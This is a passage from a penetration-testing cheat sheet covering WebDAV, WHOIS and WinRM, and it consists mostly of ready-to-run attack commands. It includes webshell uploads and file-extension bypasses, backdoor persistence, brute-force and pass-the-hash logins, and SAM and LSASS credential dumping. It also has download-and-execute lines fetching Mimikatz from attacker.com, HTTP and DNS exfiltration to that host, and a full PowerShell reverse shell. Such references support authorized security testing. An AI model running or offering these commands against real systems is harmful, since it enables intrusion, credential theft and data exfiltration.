# Try with default credentials
admin:admin
admin:password
webdav:webdav

# Test authentication
curl -X PROPFIND http://target.com/webdav/ -u admin:admin
```

File Upload (PUT Method)

Upload malicious files using WebDAV PUT method.

```
# Upload PHP webshell
curl -X PUT http://target.com/webdav/shell.php \
  -u username:password \
  -d '<?php system($_GET["cmd"]); ?>'

# Access shell
curl http://target.com/webdav/shell.php?cmd=whoami

# Upload ASP webshell
curl -X PUT http://target.com/webdav/shell.asp \
  -u username:password \
  -d
```

'<%=CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.ReadAll()%>'

```
# Upload other file types
curl -X PUT http://target.com/webdav/shell.txt \
  -u username:password \
  --data-binary @shell.php
```

Extension Bypass

Bypass file extension restrictions for webshell upload.

```
# Try various extensions
shell.php
shell.php.txt
shell.txt
shell.phtml
shell.php5
shell.php7

# Upload with different Content-Type
curl -X PUT http://target.com/webdav/shell.php \
  -H "Content-Type: image/jpeg" \
  -u username:password \
  -d '<?php system($_GET["cmd"]); ?>'
```

MOVE/COPY Method Exploitation

Use MOVE/COPY methods to bypass file restrictions.

```
# Upload as .txt, then MOVE to .php
curl -X PUT http://target.com/webdav/shell.txt \
  -u username:password \
  -d '<?php system($_GET["cmd"]); ?>'

curl -X MOVE http://target.com/webdav/shell.txt \
  -u username:password \
  -H "Destination: http://target.com/webdav/shell.php"

# Or COPY
curl -X COPY http://target.com/webdav/legit.txt \
  -u username:password \
  -H "Destination: http://target.com/webdav/backdoor.php"
```

Post-Exploitation

Extract sensitive data and establish persistent access after successful WebDAV exploitation.

Backdoor Upload

Upload persistent webshells for long-term access.

```
# Upload persistent webshell
cat > advanced_shell.php << 'EOF'
<?php
if(isset($_REQUEST['cmd'])){
   system($_REQUEST['cmd']);
}
if(isset($_FILES['file'])){
   move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
}
?>
EOF

curl -X PUT http://target.com/webdav/system.php \
  -u username:password \
  --data-binary @advanced_shell.php
```

Data Exfiltration

Extract sensitive data from compromised WebDAV servers.

```
# Download all files
cadaver http://target.com/webdav/
dav:/webdav/> mget *

# Using wget
wget -r --user=username --password=password http://target.com/webdav/

# Specific sensitive files
curl http://target.com/webdav/config.php -u username:password -o config.php
curl http://target.com/webdav/.env -u username:password -o .env
```

Persistence

Create persistent backdoor access to compromised WebDAV systems.

```
# Upload multiple backdoors
curl -X PUT http://target.com/webdav/backup.php \
  -u username:password \
```

```
  -d '<?php system($_GET["c"]); ?>'

# Upload to different directories
curl -X PUT http://target.com/webdav/uploads/shell.php \
  -u username:password \
  -d '<?php system($_GET["cmd"]); ?>'

# Create hidden backdoor
curl -X PUT http://target.com/webdav/.htaccess \
  -u username:password \
  -d '<?php system($_GET["cmd"]); ?>'
```

Lateral Movement

Expand access to other systems using WebDAV access.

```
# Upload network scanning script
curl -X PUT http://target.com/webdav/scan.php \
  -u username:password \
  -d '<?php system("nmap -sn 192.168.1.0/24"); ?>'

# Execute via webshell
curl "http://target.com/webdav/scan.php"

# Upload credential harvesting script
curl -X PUT http://target.com/webdav/creds.php \
  -u username:password \
  -d '<?php system("cat /etc/passwd"); ?>'
```

Credential Harvesting

Extract credentials and sensitive information from WebDAV systems.

```
# Download configuration files
curl http://target.com/webdav/config/database.php -u username:password -o db_config.php
curl http://target.com/webdav/.env -u username:password -o env_file

# Search for sensitive files
curl -X PROPFIND http://target.com/webdav/ \
  -u username:password \
  -H "Depth: infinity" | grep -i "password\|secret\|key"

# Download backup files
curl http://target.com/webdav/backup.sql -u username:password -o backup.sql
```

curl http://target.com/webdav/database.sql -u username:password -o database.sql

WebDAV HTTP Methods

Method	Description	Security Impact
OPTIONS	Get allowed methods	Information disclosure
PROPFIND	Get properties	Directory listing
PROPPATCH	Modify properties	Metadata modification
MKCOL	Create collection	Directory creation
COPY	Copy resource	File duplication
MOVE	Move resource	File renaming/moving
LOCK	Lock resource	Access control
UNLOCK	Unlock resource	Lock bypass
PUT	Upload file	File upload vulnerability
DELETE	Delete file	File deletion

Useful Tools

Tool	Description	Primary Use Case
cadaver	WebDAV client	Interactive access
davtest	WebDAV tester	Upload testing

Tool	Description	Primary Use Case
curl	HTTP client	Method testing
Nmap	Network scanner	Service detection
Burp Suite	Web proxy	Request manipulation

Security Misconfigurations

- ❌ No authentication required
- ❌ Weak credentials
- ❌ PUT method enabled
- ❌ DELETE method enabled
- ❌ No file type restrictions
- ❌ Writable webroot
- ❌ No SSL/TLS encryption
- ❌ Directory listing enabled
- ❌ No upload size limits
- ❌ Verbose error messages

29.) WHOIS

Default Port: 43

WHOIS is a query and response protocol that is widely used for querying databases to determine the registrant or assignee of Internet resources, such as a domain name, an IP address block, or an autonomous system.

By using the WHOIS protocol, you can gather an extensive amount of information regarding a target.

- Domain owner
- Domain Registrar
- Name Servers
- Creation Date
- Expiration Date
- Last Updated
- State and Country etc.

Enumeration

You can gather a substantial amount of information using the WHOIS protocol.

whois hackviser.com

Python's python-whois library offers a simple way to communicate with the WHOIS protocol:

```
import whois
w = whois.whois('hackviser.com')
print(w)

print(w.status)
print(w.name)
print(w.org)
print(w.address)
```

Attack Vectors

Even though WHOIS itself doesn't have any direct vulnerabilities, It can inadvertently lead to security breach by leaking sensitive information.

Information Leakage

Basic reconnaissance and data gathering might allow an attacker to obtain sensitive information like contact information, addresses, registered domains, and many more.

whois example.com

Domain Expiration

An attacker could deny the service by waiting for the domain to expire and then registering the domain for themselves.

whois example.com | grep "Expiry Date"

30.) WinRM (Windows Remote Management)

Default Ports: 5985 (HTTP), 5986 (HTTPS)

Windows Remote Management (WinRM) is Microsoft's implementation of the WS-Management protocol, allowing remote management of Windows machines. It's built into Windows and commonly used for remote administration, PowerShell remoting, and system automation. WinRM is the native remote management protocol for Windows and is often preferred over RDP in enterprise environments.

Connect

Using evil-winrm

```
# Basic connection
evil-winrm -i target.com -u administrator -p 'password'

# With domain
evil-winrm -i target.com -u 'DOMAIN\username' -p 'password'

# Using hash (Pass-the-Hash)
evil-winrm -i target.com -u administrator -H 'NTHASH'

# Using SSL (port 5986)
evil-winrm -i target.com -u administrator -p 'password' -S

# With custom port
evil-winrm -i target.com -u administrator -p 'password' -P 5985
```

Using PowerShell (from Windows)

```
# Create credentials
$password = ConvertTo-SecureString "password" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("administrator", $password)

# Connect interactively
Enter-PSSession -ComputerName target.com -Credential $cred

# Run command remotely
Invoke-Command -ComputerName target.com -Credential $cred -ScriptBlock { whoami }

# Connect to multiple machines
$computers = "server1", "server2", "server3"
```

```
Invoke-Command -ComputerName $computers -Credential $cred -ScriptBlock { hostname }
```

Using winrs (Windows Remote Shell)

```
# Execute single command
winrs -r:http://target.com:5985 -u:administrator -p:password "whoami"

# Interactive shell
winrs -r:http://target.com:5985 -u:administrator -p:password cmd

# With domain
winrs -r:http://target.com:5985 -u:DOMAIN\username -p:password cmd
```

Using Ruby WinRM Library

```
require 'winrm'

conn = WinRM::Connection.new(
  endpoint: 'http://target.com:5985/wsman',
  user: 'administrator',
  password: 'password'
)

conn.shell(:powershell) do |shell|
  output = shell.run('Get-Process') do |stdout, stderr|
    STDOUT.print stdout
    STDERR.print stderr
  end
end
```

Recon

Service Detection with Nmap

Use Nmap to detect WinRM services and identify server capabilities.

```
nmap -p 5985,5986 target.com
```

Banner Grabbing

Connect to WinRM services to gather version and service information.

Using netcat

```
# Using netcat
nc -vn target.com 5985
```

Using curl

```
# Using curl
curl http://target.com:5985/wsman

# Check WinRM configuration
curl -H "Content-Type: application/soap+xml;charset=UTF-8" \
  http://target.com:5985/wsman \
  -d '<?xml version="1.0" encoding="UTF-8"?><s:Envelope
xmlns:s="http://www.w3.org/2003/05/soap-envelope"
xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Hea
der/><s:Body><wsmid:Identify/></s:Body></s:Envelope>'
```

Using nmap

```
# Detect WinRM version
nmap -p 5985,5986 -sV target.com

# Enumerate HTTP methods and headers
nmap -p 5985 --script http-methods target.com
nmap -p 5985 --script http-headers target.com

# Check WinRM configuration
nmap -p 5985,5986 --script http-wsman-info target.com
```

Configuration Check

Check WinRM configuration and service status.

```
# Check if WinRM is running (from target)
Get-Service WinRM

# Check WinRM configuration
winrm get winrm/config

# Check listeners
winrm enumerate winrm/config/listener

# Test if WinRM is accessible from remote
Test-WSMan -ComputerName target.com
```

Enumeration

Use various tools for detailed WinRM enumeration and information gathering.

User Enumeration

Enumerate user accounts to identify potential targets for privilege escalation.

```
# List local users
Get-LocalUser

# List domain users (if domain-joined)
Get-ADUser -Filter *

# Get current user
whoami
$env:USERNAME

# Get user groups
whoami /groups
Get-LocalGroup
Get-ADGroupMember "Domain Admins"
```

System Information

Gather system information for reconnaissance and privilege escalation.

```
# System information
systeminfo
Get-ComputerInfo

# OS version
[System.Environment]::OSVersion
Get-WmiObject Win32_OperatingSystem

# Architecture
[System.Environment]::Is64BitOperatingSystem
$env:PROCESSOR_ARCHITECTURE

# Hostname
hostname
$env:COMPUTERNAME

# Domain information
Get-WmiObject Win32_ComputerSystem | Select Domain
```

Network Enumeration

Map internal infrastructure and identify pivot targets.

```
# Network interfaces
ipconfig /all
Get-NetIPAddress
Get-NetIPConfiguration

# Routing table
route print
Get-NetRoute

# ARP table
arp -a
Get-NetNeighbor

# Active connections
netstat -ano
Get-NetTCPConnection

# DNS cache
ipconfig /displaydns
Get-DnsClientCache
```

Process and Service Enumeration

Enumerate processes and services for privilege escalation vectors.

```
# List running processes
Get-Process
tasklist /v

# Enumerate Windows services
Get-Service
sc query

# List scheduled tasks
Get-ScheduledTask
schtasks /query /fo LIST /v

# List startup programs
Get-CimInstance Win32_StartupCommand
wmic startup get caption,command
```

Share Enumeration

Enumerate network shares and file systems.

```
# List shares
net share
Get-SmbShare
Get-WmiObject Win32_Share

# Access shares
net use \\target\share
Get-SmbMapping

# Find accessible shares on network
Get-SmbShare -CimSession (Get-ADComputer -Filter *).Name
```

Attack Vectors

Exploit various WinRM vulnerabilities and misconfigurations for unauthorized access.

Brute Force Attack

Brute force WinRM credentials using various tools and techniques.

Using CrackMapExec

```
crackmapexec winrm target.com -u users.txt -p passwords.txt
```

Using Metasploit

```
use auxiliary/scanner/winrm/winrm_login
set RHOSTS target.com
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```

Using Custom Script

```
for user in $(cat users.txt); do
  for pass in $(cat passwords.txt); do
    echo "Trying $user:$pass"
    evil-winrm -i target.com -u "$user" -p "$pass" -e /tmp/test
  done
done
```

Pass-the-Hash

Exploit NTLM hash authentication for WinRM access.

```
# Using evil-winrm with NTLM hash
evil-winrm -i target.com -u administrator -H '32ed87bdb5fdc5e9cba88547376818d4'

# Using crackmapexec
crackmapexec winrm target.com -u administrator -H '32ed87bdb5fdc5e9cba88547376818d4'

# Using Metasploit
use exploit/windows/winrm/winrm_script_exec
set RHOSTS target.com
set USERNAME administrator
set HASH 32ed87bdb5fdc5e9cba88547376818d4
run
```

Command Execution

Execute commands remotely through WinRM.

```
# Basic command execution
Invoke-Command -ComputerName target.com -ScriptBlock { whoami }

# Multiple commands
Invoke-Command -ComputerName target.com -ScriptBlock {
  whoami
  hostname
  ipconfig
}

# Execute local script on remote
Invoke-Command -ComputerName target.com -FilePath .\script.ps1

# Download and execute
Invoke-Command -ComputerName target.com -ScriptBlock {
  IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/script.ps1')
}
```

Privilege Escalation

Escalate privileges on compromised WinRM systems.

```
# Check privileges
whoami /priv

# Check for unquoted service paths
```

```
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v
"C:\Windows\\" | findstr /i /v """

# Check for always install elevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

# Check for stored credentials
cmdkey /list
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\

# PowerUp enumeration
IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/PowerUp.ps1')
Invoke-AllChecks
```

Lateral Movement

Expand access to other systems using WinRM.

```
# Execute on multiple machines
$computers = Get-ADComputer -Filter * | Select -ExpandProperty Name
Invoke-Command -ComputerName $computers -ScriptBlock { hostname }

# Pass credentials to other systems
$cred = Get-Credential
Invoke-Command -ComputerName server2 -Credential $cred -ScriptBlock {
  # Commands here
}

# Copy files and execute
Copy-Item -Path payload.exe -Destination \\target\C$\Windows\Temp\
Invoke-Command -ComputerName target -ScriptBlock {
  C:\Windows\Temp\payload.exe
}

# PSRemoting through multiple hops
# Enable CredSSP on source
Enable-WSManCredSSP -Role Client -DelegateComputer target.com
# Execute with CredSSP
$cred = Get-Credential
Invoke-Command -ComputerName target.com -Credential $cred -Authentication CredSSP -
ScriptBlock {
  Invoke-Command -ComputerName target2.com -ScriptBlock { hostname }
```

```
}
```

Post-Exploitation

Extract sensitive data and establish persistent access after successful WinRM exploitation.

Persistence

Create persistent backdoor access to compromised WinRM systems.

```
# Create backdoor user
net user backdoor P@ssw0rd123! /add
net localgroup administrators backdoor /add

# Scheduled task persistence
schtasks /create /tn "WindowsUpdate" /tr "powershell -enc <base64_payload>" /sc onstart /ru
SYSTEM

# Registry Run key
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v
Backdoor /t REG_SZ /d "C:\Windows\Temp\backdoor.exe"

# WMI event subscription
$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments
@{
  Name = "Backdoor"
  EventNameSpace = "root\cimv2"
  QueryLanguage = "WQL"
  Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
```

Credential Harvesting

Extract credentials and authentication data from compromised systems.

```
# Dump SAM hashes
reg save HKLM\SAM C:\Windows\Temp\sam
reg save HKLM\SYSTEM C:\Windows\Temp\system
reg save HKLM\SECURITY C:\Windows\Temp\security

# Download files to attacker
download C:\Windows\Temp\sam
download C:\Windows\Temp\system
download C:\Windows\Temp\security
```

```
# Dump LSASS (requires admin)
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# Run Mimikatz
IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-
Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds

# Extract credentials from memory
sekurlsa::logonpasswords
```

File Operations

Perform file operations on compromised WinRM systems.

```
# Upload file (evil-winrm)
upload /local/path/file.exe C:\Windows\Temp\file.exe

# Download file (evil-winrm)
download C:\Windows\System32\config\SAM /tmp/sam

# Copy files
Copy-Item -Path \\source\share\file.txt -Destination C:\Temp\

# Search for interesting files
Get-ChildItem -Path C:\ -Include *.txt,*.pdf,*.doc,*.xls -Recurse -ErrorAction
SilentlyContinue

# Find passwords in files
Select-String -Path C:\*.txt,C:\*.config -Pattern "password"
```

Data Exfiltration

Extract and exfiltrate sensitive data from compromised systems.

```
# Compress and exfiltrate
Compress-Archive -Path C:\Sensitive\ -DestinationPath C:\Temp\data.zip
# Then download via evil-winrm
download C:\Temp\data.zip

# Exfiltrate via HTTP
$data = Get-Content C:\Sensitive\data.txt
Invoke-WebRequest -Uri "http://attacker.com/collect" -Method POST -Body $data
```

```
# Base64 encode and exfiltrate
$bytes = [System.IO.File]::ReadAllBytes("C:\Sensitive\file.exe")
$base64 = [System.Convert]::ToBase64String($bytes)
Invoke-WebRequest -Uri "http://attacker.com/collect" -Method POST -Body $base64

# DNS exfiltration
$data = Get-Content C:\data.txt
$data | ForEach-Object {
  nslookup "$_. attacker.com"
}
```

Reverse Shell

Establish reverse shell connections for persistent access.

```
# PowerShell reverse shell
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
  $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
  $sendback = (iex $data 2>&1 | Out-String )
  $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
  $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
  $stream.Write($sendbyte,0,$sendbyte.Length)
  $stream.Flush()
}

# One-liner reverse shell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker-
ip',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-
String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Lengt
h);$stream.Flush()};$client.Close()"
```

Domain Reconnaissance

Perform Active Directory reconnaissance using WinRM access.

```
# Domain information
Get-ADDomain
```

```
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# Domain controllers
Get-ADDomainController -Filter *
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControlle
rs

# Domain users
Get-ADUser -Filter * -Properties *
net user /domain

# Domain computers
Get-ADComputer -Filter *
net view /domain

# Domain groups
Get-ADGroup -Filter *
net group /domain

# Group members
Get-ADGroupMember "Domain Admins"
net group "Domain Admins" /domain

# GPOs
Get-GPO -All
```

Lateral Movement

Expand access to other systems using WinRM.

```
# Execute on multiple machines
$computers = Get-ADComputer -Filter * | Select -ExpandProperty Name
Invoke-Command -ComputerName $computers -ScriptBlock { hostname }

# Pass credentials to other systems
$cred = Get-Credential
Invoke-Command -ComputerName server2 -Credential $cred -ScriptBlock {
  # Commands here
}

# Copy files and execute
Copy-Item -Path payload.exe -Destination \\target\C$\Windows\Temp\
Invoke-Command -ComputerName target -ScriptBlock {
  C:\Windows\Temp\payload.exe
```

}

Common evil-winrm Commands

Command	Description	Usage
upload	Upload file to target	upload /local/file.exe C:\Windows\Temp\file.exe
download	Download file from target	download C:\file.txt /tmp/file.txt
services	List services	services
menu	Show available commands	menu
Bypass-4MSI	Bypass AMSI	Bypass-4MSI
Invoke-Binary	Execute binary from memory	Invoke-Binary /path/to/binary.exe

PowerShell Remoting Cmdlets

Cmdlet	Description	Example
Enter-PSSession	Interactive remote session	Enter-PSSession -ComputerName target
Exit-PSSession	Exit remote session	Exit-PSSession
Invoke-Command	Run command remotely	Invoke-Command -ComputerName target -ScriptBlock {cmd}

Cmdlet	Description	Example
New-PSSession	Create persistent session	$s = New-PSSession -ComputerName target
Remove-PSSession	Close session	Remove-PSSession -Session $s
Get-PSSession	List active sessions	Get-PSSession

Useful Tools

Tool	Description	Primary Use Case
evil-winrm	WinRM shell	Interactive remote shell
crackmapexec	Network attack tool	Authentication and exploitation
Metasploit	Exploitation framework	Various WinRM modules
PowerShell Empire	Post-exploitation	C2 and lateral movement
BloodHound	AD reconnaissance	Domain mapping
Rubeus	Kerberos toolkit	Ticket manipulation
Mimikatz	Credential extractor	Password and hash dumping
PowerView	AD enumeration	Domain reconnaissance

Security Misconfigurations to Test

- ❌ Weak or default credentials
- ❌ WinRM enabled on all machines

- ❌ Unrestricted WinRM access
- ❌ No certificate validation (HTTP instead of HTTPS)
- ❌ CredSSP enabled (credential delegation risks)
- ❌ Unencrypted traffic (port 5985)
- ❌ Excessive user permissions
- ❌ No network segmentation
- ❌ TrustedHosts set to *
- ❌ No logging or monitoring of WinRM sessions